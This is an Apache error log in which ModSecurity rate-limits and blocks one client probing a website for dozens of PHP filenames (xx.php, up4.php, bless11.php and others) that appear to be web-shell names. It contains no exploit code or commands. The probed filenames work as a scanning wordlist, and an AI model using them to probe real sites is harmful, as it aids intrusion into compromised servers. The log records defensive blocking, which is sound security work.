[Mon Apr 27 04:52:01.941915 2026] [:error] [pid 22647:tid 22716] [client 172.212.183.249:61196] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "ae568WjfVULTjnk5SzN7PAAAAIY"]
[Mon Apr 27 04:52:04.108299 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:62595] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "ae569Cc0tCpVyVdFok-AgAAAANU"]
[Mon Apr 27 04:52:06.421328 2026] [:error] [pid 22645:tid 22660] [client 172.212.183.249:62559] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "ae569n-Pq2r302zQbMaQUwAAAAU"]
[Mon Apr 27 04:52:09.267512 2026] [:error] [pid 22646:tid 22695] [client 172.212.183.249:61742] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/333.php"] [unique_id "ae56-Yk_HyZhTP6AYadz_QAAAEw"]
[Mon Apr 27 04:52:11.345880 2026] [:error] [pid 22647:tid 22725] [client 172.212.183.249:61733] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/520.php"] [unique_id "ae56-2jfVULTjnk5SzN7SgAAAI8"]
[Mon Apr 27 04:52:12.967850 2026] [:error] [pid 22647:tid 22722] [client 172.212.183.249:62577] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/520.php"] [unique_id "ae56_GjfVULTjnk5SzN7TwAAAIw"]
[Mon Apr 27 04:52:14.154838 2026] [:error] [pid 22645:tid 22667] [client 172.212.183.249:61710] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/520.php"] [unique_id "ae56_n-Pq2r302zQbMaQXAAAAAw"]
[Mon Apr 27 04:52:14.973852 2026] [:error] [pid 22751:tid 22760] [client 172.212.183.249:61699] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/520.php"] [unique_id "ae56_ic0tCpVyVdFok-AkQAAAMY"]
[Mon Apr 27 04:52:15.700290 2026] [:error] [pid 22751:tid 22773] [client 172.212.183.249:61660] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ar.php"] [unique_id "ae56_yc0tCpVyVdFok-AlgAAANM"]
[Mon Apr 27 04:52:16.429951 2026] [:error] [pid 22647:tid 22725] [client 172.212.183.249:62556] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ar.php"] [unique_id "ae57AGjfVULTjnk5SzN7VgAAAI8"]
[Mon Apr 27 04:52:18.244419 2026] [:error] [pid 22646:tid 22702] [client 172.212.183.249:62622] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ar.php"] [unique_id "ae57Aok_HyZhTP6AYad0CQAAAFM"]
[Mon Apr 27 04:52:19.883165 2026] [:error] [pid 22751:tid 22765] [client 172.212.183.249:62566] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ar.php"] [unique_id "ae57Ayc0tCpVyVdFok-AmgAAAMs"]
[Mon Apr 27 04:52:21.324681 2026] [:error] [pid 22647:tid 22729] [client 172.212.183.249:61636] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x.php"] [unique_id "ae57BWjfVULTjnk5SzN7YQAAAJM"]
[Mon Apr 27 04:52:23.296026 2026] [:error] [pid 22645:tid 22661] [client 172.212.183.249:61743] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x.php"] [unique_id "ae57B3-Pq2r302zQbMaQawAAAAY"]
[Mon Apr 27 04:52:24.459392 2026] [:error] [pid 22751:tid 22770] [client 172.212.183.249:62567] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x.php"] [unique_id "ae57CCc0tCpVyVdFok-AnwAAANA"]
[Mon Apr 27 04:52:26.344628 2026] [:error] [pid 22751:tid 22763] [client 172.212.183.249:61211] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x.php"] [unique_id "ae57Cic0tCpVyVdFok-ApwAAAMk"]
[Mon Apr 27 04:52:27.127438 2026] [:error] [pid 22646:tid 22689] [client 172.212.183.249:62562] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "ae57C4k_HyZhTP6AYad0FgAAAEY"]
[Mon Apr 27 04:52:28.299385 2026] [:error] [pid 22647:tid 22724] [client 172.212.183.249:62548] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "ae57DGjfVULTjnk5SzN7cQAAAI4"]
[Mon Apr 27 04:52:30.051693 2026] [:error] [pid 22645:tid 22669] [client 172.212.183.249:61726] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "ae57Dn-Pq2r302zQbMaQewAAAA4"]
[Mon Apr 27 04:52:31.337489 2026] [:error] [pid 22647:tid 22729] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Mon Apr 27 04:52:31.559057 2026] [:error] [pid 22647:tid 22725] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass4.php
[Mon Apr 27 04:52:31.753182 2026] [:error] [pid 22647:tid 22714] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/2clas.php
[Mon Apr 27 04:52:31.943132 2026] [:error] [pid 22647:tid 22713] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/ave.php
[Mon Apr 27 04:52:32.976611 2026] [:error] [pid 22647:tid 22710] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/wrt.php
[Mon Apr 27 04:52:33.167788 2026] [:error] [pid 22647:tid 22716] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/bibil.php
[Mon Apr 27 04:52:33.358017 2026] [:error] [pid 22647:tid 22725] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Mon Apr 27 04:52:33.547537 2026] [:error] [pid 22647:tid 22713] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Mon Apr 27 04:52:34.362269 2026] [:error] [pid 22647:tid 22728] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/file7.php
[Mon Apr 27 04:52:34.600024 2026] [:error] [pid 22647:tid 22716] [client 172.212.183.249:62632] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Mon Apr 27 04:52:35.292312 2026] [:error] [pid 22647:tid 22729] [client 172.212.183.249:62632] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nox.php"] [unique_id "ae57E2jfVULTjnk5SzN7lQAAAJM"]
[Mon Apr 27 04:52:37.198488 2026] [:error] [pid 22647:tid 22726] [client 172.212.183.249:61671] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nox.php"] [unique_id "ae57FWjfVULTjnk5SzN7mgAAAJA"]
[Mon Apr 27 04:52:39.462597 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:61669] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nox.php"] [unique_id "ae57Fyc0tCpVyVdFok-A0AAAAMg"]
[Mon Apr 27 04:52:45.252376 2026] [:error] [pid 22645:tid 22661] [client 172.212.183.249:57945] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nox.php"] [unique_id "ae57HX-Pq2r302zQbMaQiQAAAAY"]
[Mon Apr 27 04:52:47.881007 2026] [:error] [pid 22751:tid 22755] [client 172.212.183.249:61702] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "ae57Hyc0tCpVyVdFok-A7wAAAMI"]
[Mon Apr 27 04:52:51.799833 2026] [:error] [pid 22645:tid 22669] [client 172.212.183.249:61753] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "ae57I3-Pq2r302zQbMaQjwAAAA4"]
[Mon Apr 27 04:52:54.144721 2026] [:error] [pid 22751:tid 22766] [client 172.212.183.249:62574] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "ae57Jic0tCpVyVdFok-BAQAAAMw"]
[Mon Apr 27 04:52:55.208633 2026] [:error] [pid 22647:tid 22714] [client 172.212.183.249:61691] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "ae57J2jfVULTjnk5SzN7sgAAAIQ"]
[Mon Apr 27 04:52:57.313931 2026] [:error] [pid 22647:tid 22732] [client 172.212.183.249:62634] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "ae57KWjfVULTjnk5SzN7vQAAAJY"]
[Mon Apr 27 04:52:58.473700 2026] [:error] [pid 22647:tid 22711] [client 172.212.183.249:61721] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "ae57KmjfVULTjnk5SzN7wQAAAIE"]
[Mon Apr 27 04:52:59.258872 2026] [:error] [pid 22645:tid 22661] [client 172.212.183.249:62537] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "ae57K3-Pq2r302zQbMaQlwAAAAY"]
[Mon Apr 27 04:53:00.003767 2026] [:error] [pid 22647:tid 22715] [client 172.212.183.249:61715] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "ae57LGjfVULTjnk5SzN70AAAAIU"]
[Mon Apr 27 04:53:01.290846 2026] [:error] [pid 22647:tid 22724] [client 172.212.183.249:62621] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class9.php"] [unique_id "ae57LWjfVULTjnk5SzN72QAAAI4"]
[Mon Apr 27 04:53:02.488320 2026] [:error] [pid 22647:tid 22724] [client 172.212.183.249:61757] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class9.php"] [unique_id "ae57LmjfVULTjnk5SzN74QAAAI4"]
[Mon Apr 27 04:53:03.403090 2026] [:error] [pid 22647:tid 22726] [client 172.212.183.249:62557] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class9.php"] [unique_id "ae57L2jfVULTjnk5SzN76QAAAJA"]
[Mon Apr 27 04:53:04.288426 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:61213] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class9.php"] [unique_id "ae57MCc0tCpVyVdFok-BEgAAANU"]
[Mon Apr 27 04:53:05.068782 2026] [:error] [pid 22647:tid 22711] [client 172.212.183.249:62619] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/la.php"] [unique_id "ae57MWjfVULTjnk5SzN79wAAAIE"]
[Mon Apr 27 04:53:06.399745 2026] [:error] [pid 22751:tid 22777] [client 172.212.183.249:62605] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/la.php"] [unique_id "ae57Mic0tCpVyVdFok-BGAAAANc"]
[Mon Apr 27 04:53:07.797270 2026] [:error] [pid 22647:tid 22727] [client 172.212.183.249:62543] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/la.php"] [unique_id "ae57M2jfVULTjnk5SzN8BgAAAJE"]
[Mon Apr 27 04:53:08.453152 2026] [:error] [pid 22751:tid 22753] [client 172.212.183.249:61746] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/la.php"] [unique_id "ae57NCc0tCpVyVdFok-BIgAAAMA"]
[Mon Apr 27 04:53:09.680387 2026] [:error] [pid 22751:tid 22766] [client 172.212.183.249:62572] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless11.php"] [unique_id "ae57NSc0tCpVyVdFok-BJwAAAMw"]
[Mon Apr 27 04:53:10.360418 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:61717] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless11.php"] [unique_id "ae57Nic0tCpVyVdFok-BLAAAAMg"]
[Mon Apr 27 04:53:12.006416 2026] [:error] [pid 22646:tid 22698] [client 172.212.183.249:62652] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless11.php"] [unique_id "ae57OIk_HyZhTP6AYad0NgAAAE8"]
[Mon Apr 27 04:53:14.043705 2026] [:error] [pid 22645:tid 22663] [client 172.212.183.249:61681] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless11.php"] [unique_id "ae57On-Pq2r302zQbMaQmwAAAAg"]
[Mon Apr 27 04:53:16.241752 2026] [:error] [pid 22645:tid 22677] [client 172.212.183.249:61697] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccou.php"] [unique_id "ae57PH-Pq2r302zQbMaQoQAAABY"]
[Mon Apr 27 04:53:17.695497 2026] [:error] [pid 22751:tid 22754] [client 172.212.183.249:62633] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccou.php"] [unique_id "ae57PSc0tCpVyVdFok-BOgAAAME"]
[Mon Apr 27 04:53:20.305669 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:61710] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccou.php"] [unique_id "ae57QCc0tCpVyVdFok-BQgAAAMg"]
[Mon Apr 27 04:53:21.949728 2026] [:error] [pid 22646:tid 22692] [client 172.212.183.249:62565] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccou.php"] [unique_id "ae57QYk_HyZhTP6AYad0RQAAAEk"]
[Mon Apr 27 04:53:23.755496 2026] [:error] [pid 22646:tid 22702] [client 172.212.183.249:61634] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ton.php"] [unique_id "ae57Q4k_HyZhTP6AYad0SwAAAFM"]
[Mon Apr 27 04:53:26.296371 2026] [:error] [pid 22751:tid 22753] [client 172.212.183.249:62579] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ton.php"] [unique_id "ae57Ric0tCpVyVdFok-BUAAAAMA"]
[Mon Apr 27 04:53:38.475452 2026] [:error] [pid 22751:tid 22773] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/ton.php
[Mon Apr 27 04:53:38.664163 2026] [:error] [pid 22751:tid 22767] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/403.php
[Mon Apr 27 04:53:38.853279 2026] [:error] [pid 22751:tid 22753] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/file9.php
[Mon Apr 27 04:53:39.067377 2026] [:error] [pid 22751:tid 22755] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/ac.php
[Mon Apr 27 04:53:39.281187 2026] [:error] [pid 22751:tid 22757] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/new4.php
[Mon Apr 27 04:53:39.472731 2026] [:error] [pid 22751:tid 22772] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/pop.php
[Mon Apr 27 04:53:39.664536 2026] [:error] [pid 22751:tid 22760] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/az.php
[Mon Apr 27 04:53:39.853563 2026] [:error] [pid 22751:tid 22769] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/xaz.php
[Mon Apr 27 04:53:40.084430 2026] [:error] [pid 22751:tid 22776] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/up4.php
[Mon Apr 27 04:53:40.276261 2026] [:error] [pid 22751:tid 22778] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/1aa.php
[Mon Apr 27 04:53:40.466606 2026] [:error] [pid 22751:tid 22759] [client 172.212.183.249:62655] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
